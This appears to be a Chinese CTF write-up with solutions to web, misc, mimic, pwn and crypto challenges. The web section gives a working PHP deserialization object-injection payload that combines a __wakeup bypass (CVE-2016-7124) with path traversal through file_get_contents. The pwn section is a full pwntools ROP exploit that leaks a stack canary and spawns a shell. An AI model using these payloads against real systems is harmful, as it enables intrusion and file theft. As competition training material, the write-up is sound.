Web

ezus

访问index.php,可以得到源码链接,点进去后可以看到index.php源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include 'tm.php'; // Next step in tm.php
var_dump($_SERVER['PHP_SELF']);
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset($_GET['source']))
{
$path = basename($_SERVER['PHP_SELF']);
if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
{
exit("nonono!");
}
highlight_file($path);
exit();
}
?>
<a href="index.php?source">source</a>

此处可以使用特殊字符(%C3%A9)绕过:

1
http://x.x.x.x/index.php/étm.php/é?source

得到tm.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
class UserAccount
{
protected $username;
protected $password;

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}

function object_sleep($str)
{
$ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
return $ob;
}

function object_weakup($ob)
{
$r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
return $r;
}

class order
{
public $f;
public $hint;

public function __construct($hint, $f)
{
$this->f = $f;
$this->hint = $hint;
}

public function __wakeup()
{
//something in hint.php
if ($this->hint != "pass" || $this->f != "pass") {
$this->hint = "pass";
$this->f = "pass";
}
}

public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL))
{
$r = parse_url($this->hint);
if (!empty($this->f)) {
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !== false) {
@include($this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {
$out = file_get_contents($this->hint);
echo "<br/>".$out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
}
else
{
echo "Invalid URL";
}
}
}

$username = $_POST['username'];
$password = $_POST['password'];

unserialize(object_weakup(object_sleep(serialize(new UserAccount($username, $password)))));

此步需要绕过的点:

  1. object_sleep和object_weakup两个函数会对chr(0).'*'.chr(0)进行替换和还原,看似没改变原字符串,但是如果输入的就是“@0@0@0@”,则会被替换成chr(0).'*'.chr(0),长度由7个字符变为3个字节,减少4个字节。因此可以在反序列化的时候,往username里塞适量的@0@0@0@,让username溢出读取后面password序列化值的部分内容,也就可以控制反序列化用的字符串,往UserAccount中多塞个order类型的成员变量,进而触发__destruct内容。
    可以参考:
    1
    2
    https://blog.csdn.net/qq_43645782/article/details/105801796
    https://www.cnblogs.com/MisakaYuii-Z/p/12781055.html
  2. 正常情况下,wakeup方法会在destruct之前执行,因此需要绕过order类中的__wakeup方法。此处利用CVE-2016-7124漏洞。
    可以参考:
    1
    2
    https://access.redhat.com/security/cve/CVE-2016-7124
    https://www.cnblogs.com/xhds/p/12243760.html
  3. 需要绕过filter_var函数和host检测,此处file_get_contents函数,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。因此,0://prankhub/形式会被认为是一个目录,使用0://prankhub/../../../var/www/html/hint.php即可读取hint.php文件。
    此处推荐一篇好文:
    1
    https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

最终payload:

1
username=zzzzzz@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=1234";s:2:"ts";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:49:"0://prankhub/../../../../../var/www/html/hint.php";}}

然后根据hint.php里的提示,再次读取/f1111444449999.txt文件,即可得到flag:

1
username=zzzzzz@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=1234";s:2:"ts";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:46:"0://prankhub/../../../../../f1111444449999.txt";}}

Misc

S3qUenCEs

很欣慰能在CTF中看到ACM题:D
直接nc怼过去,可得题目描述:

You are given an array a consisting n(1=<n<=10^6) integers a1,a2,…,an(-10^9<=ai<=10^9 for each 1<=i<=n) and an integer k(1<=k<=n).
You can do any number of operations.In each option you can choose an interval [l,r] with a length of k and multiply the number al,al+1,…ar in array a by -1.You have to output the maximum value of the sum of the array a after any number of options.

You need to answer 100 independent questions.Each question has a time limit of 5 seconds.

Each question just like this:

Input:
5 3
3 4 -3 7 -6

Output:
17

大意是给你n、k和一个长度为n的整数数组,你一次可以翻转(由负变正或由正变负)数组中的连续k个元素,求在无限次翻转的情况,数组所有元素和的最大值。

考虑数据范围10^6,因此肯定是O(n)时间复杂度的算法了。

思路:

  1. 按照元素下标模k分组,那么每个组里的任意两个数都能在不影响数组中其它n-2个数同时,进行翻转。

  2. 因此每个组翻转到最优情况时,最多一个负数(原来有奇数个负数)或没有负数(原来有偶数个负数)。

  3. 因此某个组若负数有奇数个,则取这个组绝对值最小的数做负数。否则这个组全部取正数。此时结果最优。

  4. 经过上述后,得到一个结果。翻转数组前k个数,改变每个组的负数个数奇偶性,再重复一次。取两次值的最大值,即为结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from typing import List
from math import inf
from pwn import *

def solve_half(arr: List[int], k: int) -> int:
n = len(arr)
group_na_cnt = [0] * k # 每组负数个数
group_sum = [0] * k # 每组的绝对值和
group_min = [inf] * k # 每组最小的数
for i in range(n):
x = i % k
if arr[i] < 0:
group_na_cnt[x] += 1
group_sum[x] += abs(arr[i])
group_min[x] = min(group_min[x], abs(arr[i]))
ans = 0
for j in range(k):
if group_na_cnt[j] % 2 == 0:
ans += group_sum[j]
else:
ans += group_sum[j] - 2 * group_min[j]
return ans

def solve(ori: List[int], k: int) -> int:
arr = ori.copy()
ans1 = solve_half(arr, k)
for i in range(k):
arr[i] = -arr[i]
ans2 = solve_half(arr, k)
return max(ans1, ans2)

context.log_level='info'
p = remote('172.52.x.x', 9999)

z = 100
for i in range(z):
p.recvuntil('Challenge Input:\n')
nk = p.recvline(keepends=False).decode()
arrstr = p.recvline(keepends=False).decode()
k = int(nk.split(' ')[1])
arr = [int(x) for x in arrstr.split(' ')]
res = str(solve(arr, k))
p.recvuntil('Give me your output:\n')
p.sendline(res.encode())
print("#" + str(i))

flag = p.recvall()
print(flag)

babymisc

猜数字游戏,范围是6位数字(100000 - 999999)。每次提交一个整数,服务端会返回up或low,即你给的数大于或者小于这个数字。
二分查找,但只能输15次左右,二分次数不太够。写个程序循环多尝试几轮,运气好可以猜中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from typing import List
from pwn import *

context.log_level='debug'
flag = True
while flag:
p = remote('172.52.x.x', 9999)
p.recvuntil(b'>')
p.sendline(b'Y')
left = 100000
right = 999999
while True:
p.recvuntil(b'Please enter a number:')
mid = (left + right) // 2
p.sendline(str(mid))
r = p.recvline(keepends=False).decode()
if r.strip() == 'low':
left = mid
elif r.strip() == 'up':
right = mid
else:
print(r)
if r != 'You lost':
flag = False
break
p.close()

MIMIC

web_mimic

网页源代码里,可以看到两个串:

网页源码

NTLM串在CMD5上可以查到结果123。下面那串16进制值,使用算法DES,密钥123解密后得到提示:

1
2
3
4
5
6
7
8
1.maybe used first url get random:
/mimic_storage

2.maybe used second url get flag:
/getflag?sec=random&path=xxxx

xxx is:
bAzlsD1ChiFW5eMC5tUokHErPkdjqARE

直接根据提示访问,即可得到flag。

pwn1

典型栈溢出+ROP题,带PIE和Canary。
nc怼上去后,输1可以泄露函数地址。输2,可以输入内容,长度超过200时会溢出覆盖栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from pwnlib.gdb import *
from pwnlib.util.packing import p64
import time

context(os="linux", arch="amd64", log_level = "debug")
p = remote('172.52.x.x', 9999)

p.recvuntil('Welcome to mimic world,try something\n')
p.sendline("1")
p.recvline()
func_addr = int(p.recvline().decode(), 16)
base_addr = func_addr - 0xa94
getshell_addr = base_addr + 0xa00

p.sendline("2")
p.recvline() # hello
p.sendline('a' * 200)
ret = p.recvuntil(b'a' * 200 + b'\n')
canary = b'\x00' + p.recv(7)

popedi_addr = 0xc73
binsh_addr = 0x202068
syscall_addr = 0x870
ret_addr = 0x821

payload = b'a' * 200 + canary + p64(1)
payload += p64(base_addr + ret_addr) + p64(popedi_addr + base_addr)
payload += p64(base_addr + binsh_addr) + p64(base_addr + syscall_addr)
p.send(payload)
p.sendline(b"cat flag")
p.interactive()

CRYPTO

weakrandom

感觉是个非预期解。没看到公告里有提供程序代码。随便输了几个整数,好像小概率随机数有重复值。
因此写了个代码,不断尝试输入0,直到返回固定值时,输入该值,即可得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import hashlib
import string

context.log_level='info'
flag = True
while flag:
p = remote('172.52.x.x', 9998)

shastr = p.recvline(keepends = False).decode()
ends = shastr.split('==')[0].strip().split('+')[1][:-1]
shares = shastr.split('==')[1].strip()

def getShaAns(e: str, target: str) -> str:
tables = string.ascii_letters + string.digits
for i in tables:
for j in tables:
for k in tables:
for l in tables:
s = i + j + k + l + e
if hashlib.sha256(s.encode()).hexdigest() == target:
return s
return ""

ans = getShaAns(ends, shares)
p.recvuntil('Give me XXXX:\n')
p.sendline(ans[:4])
number = "0"
last = "0"
try:
while True:
a = p.recvuntil("Please your guess : ").decode()
if 'flag' in a:
print(a)
flag = False
break
if 'Fail' in a:
searchObj = re.search( r'Fail! The number is ([0-9]+)', a, re.M|re.I)
if searchObj:
now = searchObj.group(1)
if now == last:
number = now
last = now
p.sendline(number)
except EOFError:
pass